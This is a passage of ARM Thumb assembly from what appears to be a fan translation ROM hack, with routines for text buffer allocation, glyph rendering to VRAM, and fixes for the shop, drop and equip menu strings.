bl .alloc_tiles_buffer // alloc the buffer
ldr r0,[sp,#0]
cmp r0,#0
ble .alloc_tiles_buffers_end
+
cmp r2,#0x18
blt -
ldr r0,[sp,#0x10]
.alloc_tiles_buffers_subtract_width:
sub r2,#0x18
add r0,#0x18
cmp r2,#0
beq +
str r0,[sp,#0x10]
bl .alloc_tiles_buffer
ldr r1,[sp,#0]
cmp r1,#0
ble .alloc_tiles_buffers_end
cmp r2,#0x18
bge .alloc_tiles_buffers_subtract_width
b -
+
str r0,[sp,#0x10]
mov r5,#0 // unset tile_was_printed
b -
.alloc_tiles_buffers_end:
ldr r0,[sp,#0] // free buffers
add sp,#0x28
pop {r4-r7,pc}
//=============================================================================================
.check_special_bit:
push {r2,lr} // why are you pushing r2? :P
strh r1,[r6,#2] // original code
ldr r0,[r4,#0]
// custom jeff code
// maybe this is why :O
ldr r2,=#0x201A288
ldrb r2,[r2,#0]
cmp r2,#6
beq +
//
ldr r0,[r0,#0] // load the first letter data of the real text in
+
pop {r2,pc}
//=============================================================================================
.store_total_strings:
// custom jeff code
ldr r2,=#0x2013040
strb r0,[r2,#2] // store the strings total
add r3,sp,#0xC
mov r8,r3
bx lr
//=============================================================================================
// 2013040 halfword total # of letters
// 2013041 ...
// 2013042 byte total # of passes that will be needed
// 2013043 byte current pass #
// this routine initializes most of this stuff
.reset_processed_strings:
push {lr}
// custom jeff code
ldr r4,=#0x2013040 // custom area of RAM for this is here
mov r2,#0
strb r2,[r4,#3] // total # of strings processed = 0
pop {pc}
//=============================================================================================
.load_remaining_strings:
// custom jeff code
ldr r0,[sp,#0x28]
ldrb r1,[r0,#2] // get the strings #
ldrb r0,[r0,#3] // get the currently processed strings
sub r1,r1,r0
bx lr
//=============================================================================================
.load_remaining_strings_external:
// custom jeff code
ldr r0,=#0x2013040
ldrb r1,[r0,#2] // get the strings #
ldrb r0,[r0,#3] // get the currently processed strings
sub r1,r1,r0
bx lr
//=============================================================================================
.decrement_remaining_strings:
// custom jeff code
ldr r0,[sp,#0x28]
ldrb r1,[r0,#2] // get the strings #
ldrb r2,[r0,#3] // get the currently processed strings
add r2,#1
strb r2,[r0,#3] // increase them by 1
sub r1,r1,r2
bx lr
//=============================================================================================
.group_add_check:
push {r2-r3}
// custom jeff code
mov r0,#0 // this will be the final default result
ldr r2,=#0x2013040 // address of start of counter area
ldrb r1,[r2,#3] // load the current string #
ldrb r3,[r2,#2] // load the total # of strings
cmp r1,r3 // is curr_str >= total_str?, if so, set r0 to 4 to signal the end
blt + // if it's <= total_str, skip this extra stuff
mov r0,#4 // this will be r0 at the end, it signals the code that items are done
mov r1,#0 // set the strings # back to 0
strh r1,[r2,#2] // set the total length back to 0 so the game won't freak out
+
mov r1,#7 // clobbered code
pop {r2-r3}
bx lr
//============================================================================================
// This routine converts the VRAM entries from 1bpp to 4bpp.
// We want to go VERY FAST.
//============================================================================================
.convert_1bpp_4bpp:
push {r2,r4-r6,lr}
cmp r1,#0
beq .convert_1bpp_4bpp_end
ldr r6,=#0x8CDF9F8
mov r2,#0xAA
lsl r2,r2,#3
add r5,r2,r4
add r5,#8 // Starting tiles
mov r4,r1
.convert_1bpp_4bpp_loop_start:
ldrb r0,[r5,#8]
cmp r0,#0
beq +
mov r0,#3
bl convert_1bpp_4bpp_tiles
+
.convert_1bpp_4bpp_loop_bottom:
add r5,#0x60
ldrb r0,[r5,#8]
cmp r0,#0
beq +
mov r0,#3
bl convert_1bpp_4bpp_tiles
+
.convert_1bpp_4bpp_loop_end:
sub r4,#1 // One entry is done
cmp r4,#0
ble .convert_1bpp_4bpp_end
add r5,#0x6C
b .convert_1bpp_4bpp_loop_start
.convert_1bpp_4bpp_end:
pop {r2,r4-r6,pc}
//=============================================================================================
// THIS CODE AND THE ONE IN text_weld INSIDE sprite_text_hacks ARE BASICALLY THE SAME!
// THEY'RE SEPARATED IN ORDER TO MAXIMIZE PERFORMANCES, BUT IF A BUG IS IN ONE OF THEM,
// IT'S PROBABLY IN THE OTHER ONE AS WELL
//Writes a Glyph stored in r0 to the buffer in r1. r2 is the X and r3 is the letter's info
.write_Glyph_1bpp:
push {r4-r7,lr} // This is an efficient version of the printing routine
mov r5,r1
mov r6,r1
add r6,#0x20
mov r4,r0
mov r7,r2
lsl r2,r3,#0x10
lsr r2,r2,#0x1C
mov r0,#1
strb r0,[r5,#8] // This tile is used
strb r2,[r5,#9] // Store the palette
ldr r3,[sp,#0x14+0x20] // The current letter's width
cmp r7,#8
blt +
mov r5,r6
add r6,#0x20
cmp r7,#0x10
blt +
sub r7,#0x10
mov r5,r6
mov r0,#0x8C
add r6,r6,r0
add r0,r7,r3 // Does this cross to the other tile?
cmp r0,#8
blt +
mov r0,#1
strb r0,[r6,#8] // This tile is used
strb r2,[r6,#9] // Store the palette
+
add r2,r3,#7 // If this isn't a multiple of 8, it will go over a multiple of 8 now
lsr r2,r2,#3 // Get total tiles number
cmp r2,#2
blt +
mov r2,#2 // Prevent bad stuff
+
//---------------------------------------------------------------------------------------------
mov r0,r8
push {r0}
mov r8,r2
mov r2,#0xFF // If we had access to the stack, using a precompiled
mov r0,#7
and r0,r7
lsr r2,r0 // array would be faster... Probably
lsl r0,r2,#8
orr r2,r0
lsl r0,r2,#0x10
orr r2,r0
.loop_start:
push {r3,r7}
mov r0,#7 // Only consider part of the tile
and r7,r0
ldr r3,[r4,#0] // Load the first 4 rows
mov r1,r3
lsr r3,r7 // Shift them by curr_x
mov r0,#8
sub r0,r0,r7
lsl r1,r0
and r3,r2 // Left side
mvn r2,r2 // Get the inverted version
and r1,r2 // Right side
// TOP FOUR - LEFT
ldr r0,[r5,#0] // load what's in the current row
orr r0,r3 // OR them together
str r0,[r5,#0] // and now store it back
// TOP FOUR - RIGHT
str r1,[r6,#0] // and now store it back
// Now we do the bottom four!
ldr r3,[r4,#4] // Load the last 4 rows
mov r1,r3
lsr r3,r7 // Shift them by curr_x
mov r0,#8
sub r0,r0,r7
lsl r1,r0
and r1,r2 // Right side
mvn r2,r2 // Get the inverted version
and r3,r2 // Left side
// BOTTOM FOUR - LEFT
ldr r0,[r5,#4] // load what's in the current row
orr r0,r3 // OR them together
str r0,[r5,#4] // and now store it back
// BOTTOM FOUR - RIGHT
str r1,[r6,#4] // and now store it back
pop {r3,r7}
mov r0,r8 // increment counter
cmp r0,#1 // see if we're still under the # of tiles we need to process
ble .routine_end
sub r0,#1
mov r8,r0
add r7,#8
mov r0,r5
mov r5,r6
add r6,#0x20
cmp r7,#0x10
blt +
add r6,#0x6C
sub r3,#8
add r1,r7,r3
cmp r1,#8
blt +
sub r0,#0x20
ldrb r1,[r0,#9] // Grab the colour
mov r0,#1
strb r0,[r6,#8] // This tile is used
strb r1,[r6,#9] // Store the palette
+
add r4,#8
b .loop_start
//---------------------------------------------------------------------------------------------
.routine_end:
pop {r0}
mov r8,r0
pop {r4-r7,pc}
//=============================================================================================
//Prints a letter in one of the buffers. r0 is the letter, r1 is the buffer, r2 is the X
.print_letter:
push {r4-r7,lr}
add sp,#-0x24
mov r7,r0
lsl r3,r7,#0x14 // load the current letter's width
lsr r3,r3,#0x14
ldr r0,[sp,#0x38+0x30]
add r0,r0,r3
ldrb r3,[r0,#0] // r3 = letter's width
str r3,[sp,#0x20] // the current letter's width
mov r4,r2
mov r6,r1
bl .fast_prepare_main_font // load the letter in the stack
mov r5,r0
cmp r5,#0 // is there something to print at all?
beq .print_letter_end
sub r5,#1
cmp r5,#1 // is there something to print at the top?
beq +
mov r0,sp
mov r1,r6
add r1,#8
mov r2,r4
mov r3,r7
bl .write_Glyph_1bpp
+
cmp r5,#0 // is there something to print at the bottom?
beq .print_letter_end
add r0,sp,#0x10
mov r1,r6
add r1,#0x68
mov r2,r4
mov r3,r7
bl .write_Glyph_1bpp
.print_letter_end:
ldr r0,[sp,#0x20]
add sp,#0x24
pop {r4-r7,pc}
//=============================================================================================
//Checks wheter the next letter will overflow the allocated number of buffers
//r0 current letter, r1 number of still not fully used buffers, r2 curr_X in the current "Three tile"
.check_if_overflow:
push {r4,lr}
mov r4,r1
lsl r3,r0,#0x14 // load the current letter's width
lsr r3,r3,#0x14
ldr r0,[sp,#8+0x30]
add r0,r0,r3
ldrb r3,[r0,#0] // r3 = letter's width
add r0,r2,r3
add r0,#0x17 // Check for crossing the line
mov r1,#0x18
swi #6 // Divide by 0x18
sub r2,r4,r0 // Free buffers after this
mov r0,#0
cmp r2,#0 // Are there any free buffers left?
bge +
mov r0,#1 // Signal overflow
+
pop {r4,pc}
//============================================================================================
// This section of code stores the letter from the font's data to the stack.
// Main font version. Returns if there is data to print or not.
// r0 is the letter. r1 is the stack pointer
//============================================================================================
.fast_prepare_main_font:
ldr r2,=#{main_font} // we already know we're loading main font
lsl r0,r7,#0x14
lsr r0,r0,#0x14
lsl r0,r0,#5
add r0,r2,r0 // get the address
mov r5,r0
mov r1,sp
mov r2,#8
swi #0xB // CpuSet for 0x10 bytes
mov r0,r5
add r0,#0x10
add r1,sp,#0x10
mov r2,#8
swi #0xB // CpuSet for 0x10 bytes
ldr r0,=#{main_font_usage}
lsl r1,r7,#0x14
lsr r1,r1,#0x14
add r0,r0,r1
ldrb r0,[r0,#0] // Load tile usage for the letter
bx lr
//============================================================================================
// This section of code stores the last tile in a buffer, so it can be reloaded
// later when doing the rest of the strings.
// r1 is the number of used triple tiles buffers.
//============================================================================================
.save_next_tile:
push {r1}
cmp r1,#0
ble .save_next_tile_end
ldr r2,[sp,#4+0x2C]
ldrb r2,[r2,#4] // Is there a partially incomplete string?
cmp r2,#0
beq .save_next_tile_end
ldr r2,[sp,#4+0x14]
ldr r0,[sp,#4+0x18]
sub r2,r2,r0 // Get the currently not fully used buffers
sub r1,r1,r2 // Get the proper buffer the last tile is in
mov r0,#0xCC
mul r1,r0
ldr r2,[sp,#4+0x24] // Load the X and Y coords
ldrh r2,[r2,#8] // Final X
ldr r0,[sp,#4+8] // Last X
sub r0,r2,r0 // X in the final triple tile
mov r2,#0xAA
lsl r2,r2,#3
add r2,r2,r4 // Buffers
add r2,r2,r1 // Get into the final buffer
add r2,#8 // Enter the actual buffer
lsr r3,r0,#3
lsl r3,r3,#3
cmp r0,r3
beq .save_next_tile_end // If it's 8-pixels aligned, it won't use this info
lsr r0,r0,#3
lsl r0,r0,#5 // Get where the tile is in the buffer
ldr r1,[sp,#4+0x28] // Load where to temp store this data
ldr r3,[r2,#8] // Load the colour and whether it's used or not - Top Tile
str r3,[r1,#0x10]
add r0,r2,r0 // Get to the top tile
ldr r3,[r0,#0]
str r3,[r1,#8]
ldr r3,[r0,#4]
str r3,[r1,#0xC] // Store the top tile
add r2,#0x60 // Process the bottom tile
ldr r3,[r2,#8] // Load the colour and whether it's used or not - Bottom Tile
str r3,[r1,#0x1C]
add r0,#0x60 // Get to the bottom tile
ldr r3,[r0,#0]
str r3,[r1,#0x14]
ldr r3,[r0,#4]
str r3,[r1,#0x18] // Store the bottom tile
.save_next_tile_end:
pop {r1}
bx lr
//=============================================================================================
// This hack is called in order to change how everything is printed in VRAM. Based on 0x8048CE4
//=============================================================================================
define max_tiles $28
.print_vram:
push {r4-r7,lr}
mov r7,r10 // Base code
mov r6,r9
mov r5,r8
push {r5-r7}
add sp,#-0x44
mov r4,r0
mov r0,#{max_tiles} // max_tiles = buffer max
str r0,[sp,#0x10]
str r1,[sp,#0x34] // Save type of arrangements loading to r1
cmp r1,#0
beq +
mov r0,#0x74 // Change this value if the sp add changes from -0x44 (or the pushes change)!!!
mov r1,sp // This is where the data we want is now
add r0,r1,r0
ldr r1,[r0,#0]
str r1,[sp,#0x38]
ldr r1,[r0,#4]
str r1,[sp,#0x3C]
ldr r1,[r0,#8]
str r1,[sp,#0x40]
+
ldr r1,=#0x25F4
add r0,r4,r1
str r0,[sp,#0x24] // Cache a bunch of values to the stack
ldr r6,[r0,#0]
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
str r0,[sp,#0x20] // Which menu this is
ldr r0,=#{main_font_width}
str r0,[sp,#0x30] // main_font_width
mov r2,#0xAA
lsl r2,r2,#3
add r2,r2,r4
mov r9,r2
ldr r0,=#0x2013040
str r0,[sp,#0x28] // Start of the printing data
add r0,#0x20
str r0,[sp,#0x2C] // Replacement data
bl .load_remaining_strings // Load the remaining number of strings
str r1,[sp,#0xC]
mov r2,sp
mov r0,#1
strh r0,[r2,#0]
cmp r1,#0
bne +
b .print_vram_end
+
add r1,sp,#4
mov r10,r1
add r2,sp,#8
mov r8,r2
mov r3,#0xC3
lsl r3,r3,#3
add r7,r4,r3
.print_vram_start_of_str_loop:
bl .find_str // Search for the next string
cmp r0,#0
bne +
b .print_vram_end
+
sub r0,#1
str r0,[sp,#0x1C] // Save whether to restore the old tiles or not
cmp r0,#0
bne .print_vram_get_old_coords
// COORD STUFF
mov r0,r4
mov r1,r6
ldr r2,[sp,#0x20]
cmp r2,#6 // Skip if memo menu
beq +
ldr r1,[sp,#0x2C] // Load the address this was saved to
ldr r1,[r1,#0]
+
add r2,sp,#4
bl $8049280 // Get the string's coords
b .print_vram_got_coords
.print_vram_get_old_coords:
ldr r1,[sp,#0x24]
add r1,#8
ldrh r0,[r1,#0] //Load and save old X
mov r3,r10
strh r0,[r3,#0]
lsr r2,r0,#3
lsl r2,r2,#3
cmp r2,r0 // If it starts at 0 pixels in a new tile, then it doesn't need to restore the old tiles
bne +
mov r0,#0
str r0,[sp,#0x1C] // Don't restore the old tiles
+
ldrh r0,[r1,#2] // Load and save old Y
strh r0,[r3,#2]
.print_vram_got_coords:
add r5,sp,#4
mov r2,#0
ldsh r2,[r5,r2]
lsr r1,r2,#3
lsl r1,r1,#3
str r1,[sp,#8]
mov r3,#2
ldsh r3,[r5,r3]
mov r1,r9
ldr r0,[sp,#0x10]
bl .alloc_tiles_buffers // Allocate the buffers for the string
ldr r1,[sp,#0x10]
str r0,[sp,#0x10] // New amount of free buffers
sub r0,r1,r0
str r0,[sp,#0x14] // Amount of buffers used by the string
mov r0,#0
str r0,[sp,#0x18] // Currently fully used buffers
str r0,[sp,#0x1C] // Do not restore the old tiles
-
mov r0,#1
neg r0,r0
ldr r1,[r6,#0]
cmp r0,r1
beq .print_vram_eos
ldr r1,[sp,#0x14]
ldr r0,[sp,#0x18]
sub r1,r1,r0 // Get the currently not fully used buffers
ldrh r2,[r5,#0]
ldr r0,[sp,#8]
sub r2,r2,r0 // Get the "Three tile" X coord
ldr r0,[r6,#0] // Get the current letter
bl .check_if_overflow
cmp r0,#0
bne .print_vram_out_of_loop
mov r1,r9
ldr r0,[sp,#0x18]
mov r2,#0xCC
mul r0,r2
add r1,r1,r0 // Get the current buffer
ldrh r2,[r5,#0]
ldr r0,[sp,#8]
sub r2,r2,r0 // Get the "Three tile" X coord
ldr r0,[r6,#0] // Load the letter
bl .print_letter // Returns in r0 the current letter's width
ldrh r2,[r5,#0]
add r2,r2,r0
strh r2,[r5,#0]
ldr r0,[sp,#8]
sub r2,r2,r0 // Get the "Three tile" X coord
cmp r2,#0x18
blt +
.print_vram_handle_long_char:
ldr r0,[sp,#8]
add r0,#0x18
str r0,[sp,#8]
ldr r0,[sp,#0x18]
add r0,#1 // Increase the number of fully used buffers
str r0,[sp,#0x18]
sub r2,#0x18
cmp r2,#0x18
bge .print_vram_handle_long_char
+
.print_vram_end_of_str_loop:
add r6,#4
b -
.print_vram_eos:
bl .exit_str
add r6,#4
mov r1,r9
ldr r0,[sp,#0x14]
mov r2,#0xCC
mul r0,r2
add r1,r1,r0 // Get the next buffer
mov r9,r1
bl .decrement_remaining_strings
ldr r0,[sp,#0x10]
cmp r0,#0 // Have we printed all that we could?
beq .print_vram_out_of_loop
cmp r1,#0 // Have we printed all the strings?
bgt .print_vram_start_of_str_loop
.print_vram_out_of_loop:
ldr r0,[sp,#0x24] // clobbered code
str r6,[r0,#0]
mov r1,r10
ldrh r2,[r1,#0] // Save current coords
strh r2,[r0,#8]
ldrh r2,[r1,#2]
strh r2,[r0,#0xA]
.print_vram_end:
ldr r0,=#0x76D7
add r2,r4,r0
ldr r0,[sp,#0x10]
mov r1,#{max_tiles} // Get how many buffers were used
sub r1,r1,r0
strb r1,[r2,#0] // Save the number so the game can use them
bl .save_next_tile
bl .convert_1bpp_4bpp
add sp,#0x44
pop {r3-r5}
mov r8,r3
mov r9,r4
mov r10,r5
pop {r4-r7,pc}
//=============================================================================================
// This hack fixes the string used when you try to sell an item at a shop.
//=============================================================================================
.sell_text:
push {r4-r6,lr}
mov r6,r8
mov r0,r7
push {r0,r6}
add sp,#-0x8
mov r7,#0x26 // starting x position
// Add the sell string to the shitpile
// First get its address
mov r0,#0x7D // using entry #0x7D in menus1
bl $80486A0 // gets the address of the sell string
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// Set the variables/coords and add it to the shitpile
mov r5,#0x1
neg r5,r5
mov r2,#0xF
str r2,[sp,#0]
mov r6,#1
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,r5
bl $8047CDC
// Add the item string to the shitpile
mov r0,r8 // pos += width of last string
add r7,r7,r0
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
push {r0}
bl get_string_width
mov r8,r0
pop {r0}
mov r4,r0
mov r1,#0xF
str r1,[sp,#0x0]
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
mov r0,r8
add r1,r7,r0
// Add the question mark to the shitpile
ldr r0,=#.question_mark // address of a question mark
mov r2,#0x87
mov r3,#1
bl $8047CDC
// Add yes/no to the shitpile
mov r0,#0x3
bl $80486A0
mov r1,#0xF
str r1,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r5
bl $8047CDC
mov r0,#0x4
bl $80486A0
mov r2,#0xF
str r2,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r5
bl $8047CDC
add sp,#0x8
pop {r3,r4}
mov r7,r4
mov r8,r3
pop {r4-r6,pc}
.question_mark:
dw $001F
//=============================================================================================
// This hack fixes the string used when you try to buy an item at a shop.
//=============================================================================================
.buy_text:
push {r4-r6,lr}
mov r6,r8
mov r0,r7
push {r0,r6}
add sp,#-0x8
mov r7,#0x26 // starting x position
// Add the buy string to the shitpile
// First get its address
mov r0,#0x7C // using entry #0x7C in menus1
bl $80486A0 // gets the address of the buy string
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// Set the variables/coords and add it to the shitpile
mov r5,#0x1
neg r5,r5
mov r2,#0xF
str r2,[sp,#0]
mov r6,#1
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,r5
bl $8047CDC
// Add the item string to the shitpile
mov r0,r8 // pos += width of last string
add r7,r7,r0
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
push {r0}
bl get_string_width
mov r8,r0
pop {r0}
mov r4,r0
mov r1,#0xF
str r1,[sp,#0x0]
str r6,[sp,#0x4]
mov r1,r7
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
mov r0,r8
add r1,r7,r0
// Add the question mark to the shitpile
ldr r0,=#.question_mark // address of a question mark
mov r2,#0x87
mov r3,#1
bl $8047CDC
// Add yes/no to the shitpile
mov r0,#0x3
bl $80486A0
mov r1,#0xF
str r1,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r5
bl $8047CDC
mov r0,#0x4
bl $80486A0
mov r2,#0xF
str r2,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r5
bl $8047CDC
add sp,#0x8
pop {r3,r4}
mov r7,r4
mov r8,r3
pop {r4-r6,pc}
//=============================================================================================
// This hack fixes the first frame that appears when you try to use an item.
//=============================================================================================
//.setup_block_use_frame1:
//push {lr}
//ldr r0,=#0x2003F08 //Don't print menu for the next frame
//mov r1,#1
//strb r1,[r0,#0]
//mov r1,r9
//ldrb r0,[r1,#0]
//pop {pc}
//.prevent_printing_maybe:
//push {lr}
//ldr r1,=#0x2003F08 //Don't print menu for the next frame
//ldrb r2,[r1,#0]
//cmp r2,#1
//bne +
//mov r2,#0
//strb r2,[r1,#0]
//mov r5,#1
//b .end_prevent_printing_maybe
//+
//mov r5,#0
//.end_prevent_printing_maybe:
//pop {r1}
//str r4,[sp,#0]
//str r5,[sp,#4]
//bx r1
//.block_normal_use_frame1:
//push {lr}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r1,[r0,#0]
//cmp r1,#1
//bne +
//mov r1,#2
//strb r1,[r0,#0]
//pop {r1}
//ldr r1,=#0x8045E6D //If not, then branch away, we'll have .use_frame1 print instead
//bx r1
//+
//mov r0,#0x3E
//bl $80486A0
//pop {pc}
//.print_normal_use_frame1:
//push {lr}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r1,[r0,#0]
//cmp r1,#2
//bne +
//mov r1,#1
//strb r1,[r0,#0]
//push {r0-r7}
//push {r5-r6}
//add sp,#-0x8
//mov r0,#0x41 // Goods
//bl $80486A0
//mov r7,#0x1
//neg r7,r7
//mov r6,#0xF
//str r6,[sp,#0]
//mov r4,#0x1
//str r4,[sp,#0x4]
//mov r1,#0xBF
//mov r2,#0x07
//mov r3,r7
//bl $8047CDC
//add sp,#0x8
//pop {r5-r6}
//pop {r0-r7}
//+
//mov r0,#0x3E
//bl $80486A0
//pop {pc}
//.block_frame1_goods:
//push {lr}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r1,[r0,#0]
//cmp r1,#1
//bne +
//mov r1,#2
//strb r1,[r0,#0]
//pop {r1}
//ldr r1,=#0x804045F
//bx r1
//+
//mov r0,#0x41
//bl $80486A0
//pop {pc}
//.use_frame1:
//push {lr}
//mov r0,r2
//bl $8055594 // Call that sets the OAM entries for the text
// Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those
//push {r0-r7}
//push {r5-r6}
//ldr r0,=#0x2003F08 //Do we need to print this?
//ldrb r7,[r0,#0]
//cmp r7,#1
//bne .end_use_frame1
//add sp,#-0x8
//mov r0,#0x41 // Goods
//bl $80486A0
//mov r7,#0x1
//neg r7,r7
//mov r6,#0xF
//str r6,[sp,#0]
//mov r4,#0x1
//str r4,[sp,#0x4]
//mov r1,#0xBF
//mov r2,#0x07
//mov r3,r7
//bl $8047CDC
//mov r0,#0x3C // Menu
//bl $80486A0
//mov r7,#0x1
//neg r7,r7
//mov r6,#0xF
//str r6,[sp,#0]
//mov r4,#0x0
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x30
//mov r3,r7
//bl $8047CDC
//mov r0,#0x3E // Use
//bl $80486A0
//str r6,[sp,#0]
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x3C
//mov r3,r7
//bl $8047CDC
//mov r0,#0x3F // Give
//bl $80486A0
//str r6,[sp,#0]
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x48
//mov r3,r7
//bl $8047CDC
//mov r0,#0x40 // Drop
//bl $80486A0
//str r6,[sp,#0]
//str r4,[sp,#0x4]
//mov r1,#0x1A
//mov r2,#0x54
//mov r3,r7
//bl $8047CDC
//ldr r0,=#0x2003F08 //If we printed this once, then it's not needed anymore
//mov r1,#0x0
//strb r1,[r0,#0]
//add sp,#0x8
//.end_use_frame1:
//pop {r5-r6}
//pop {r0-r7}
//pop {pc}
//=============================================================================================
// This hack fixes the string used when you try to drop an item.
//=============================================================================================
.drop_text:
// ----------------------------------------------
// Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those
push {r4-r7,lr}
mov r6,r8
push {r6}
add sp,#-0x8
mov r0,#0x3C // Menu
bl $80486A0
mov r7,#0x1
neg r7,r7
mov r6,#0xF
str r6,[sp,#0]
mov r4,#0x0
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x30
mov r3,r7
bl $8047CDC
mov r0,#0x3E // Use
bl $80486A0
str r6,[sp,#0]
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x3C
mov r3,r7
bl $8047CDC
mov r0,#0x3F // Give
bl $80486A0
str r6,[sp,#0]
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x48
mov r3,r7
bl $8047CDC
mov r0,#0x40 // Drop
bl $80486A0
str r6,[sp,#0]
str r4,[sp,#0x4]
mov r1,#0x1A
mov r2,#0x54
mov r3,r7
bl $8047CDC
// ----------------------------------------------
// Get some value
ldr r0,=#0x2015D98
ldrb r0,[r0,#0]
// Only load the text if the throw submenu is open (this value << 0x1D < 0)
lsl r0,r0,#0x1D
cmp r0,#0x0
blt .drop_text_end
// ----------------------------------------------
// Load the "-- Throw away?" text address
mov r0,#0x81
bl $80486A0
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// ----------------------------------------------
// Add the Throw Away text to the shitpile
mov r5,#1
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,#0x26
mov r8,r1 // store the current X loc to r9
mov r2,#0x87
mov r3,r7
mov r4,r0 // back up the address
bl $8047CDC
// ----------------------------------------------
// Get the width of the Throw Away string
mov r0,r4
bl get_string_width
add r8,r0 // xloc += width_of_throwaway
// ----------------------------------------------
// Get the item ID
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
// ----------------------------------------------
// Do something mysterious
mov r1,#0xC
mov r2,#0x86
bl $8046974
// ----------------------------------------------
// Gets the item address
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
mov r4,r0
// r0/r4 = address, r3 = max length
// ----------------------------------------------
// Add the item name to the shitpile
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,r8
mov r2,#0x87
mov r3,#0x16 // max length for normal items
bl $8047CDC
// ----------------------------------------------
// Get the width of the item name
mov r0,r4
bl get_string_width
add r8,r0 // xloc += width_of_itemname
// ----------------------------------------------
// Add the question mark to the shitpile
str r6,[sp,#0]
str r5,[sp,#0x4]
ldr r0,=#.question_mark
mov r1,r8
mov r2,#0x87
mov r3,#1
bl $8047CDC
// ----------------------------------------------
// Add Yes and No to the shitpile
mov r0,#0x3
bl $80486A0
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r7
bl $8047CDC
mov r0,#0x4
bl $80486A0
str r6,[sp,#0]
str r5,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r7
bl $8047CDC
// ----------------------------------------------
.drop_text_end:
add sp,#0x8
pop {r3}
mov r8,r3
pop {r4-r7}
pop {r0}
bx r0
//=============================================================================================
// This hack fixes the string used when you are asked to equip a bought item.
//=============================================================================================
.equip_text:
push {r4-r6,lr}
mov r6,r8
push {r6}
add sp,#-0x8
// ----------------------------------------------
// Check the menu status value again
ldr r0,=#0x2015D98
ldrb r0,[r0,#0]
lsl r0,r0,#0x1D
cmp r0,#0x0
bge +
// ----------------------------------------------
// If it's negative again, use a different string
mov r0,#0xB9 // [person] equipped the [item]!
bl $80486A0
mov r4,r0
mov r1,#0x1C
mov r2,#0x87
bl $8047F28
b .equip_text_end
+
// ----------------------------------------------
// Load the "-- Equip now?" text address
mov r0,#0x80
bl $80486A0
/// custom mato code!
mov r8,r0 // save the address in r0 real quick
ldr r5,=#0x2014330
ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need
mov r1,r5
ldr r2,=#0x100
bl fill_mem
mov r1,r8 // copy string to RAM and parse custom CCs
mov r0,r5
bl $8048108
mov r0,r5 // this is where the string now is
bl get_string_width
mov r8,r0 // store string width in r8
mov r0,r5 // give the string address back to r0
// ----------------------------------------------
// Add it to the shitpile
mov r5,#0xF
str r5,[sp,#0]
mov r6,#0x1
str r6,[sp,#0x4]
mov r1,#0x26
mov r8,r1
mov r2,#0x87
mov r3,#1
neg r3,r3
mov r4,r0
bl $8047CDC
// ----------------------------------------------
// Get the width of the equip text
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Do the mystery item function
ldr r4,=#0x201A1FD
ldrb r0,[r4,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
// ----------------------------------------------
// Get the item address
ldrb r1,[r4,#0]
mov r0,#0x2
bl $8001C5C
mov r4,r0
// ----------------------------------------------
// Add the item name to the shitpile
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r0,r4
mov r1,r8
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
// ----------------------------------------------
// Get the width of the item name
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Add " now?" to the shitpile
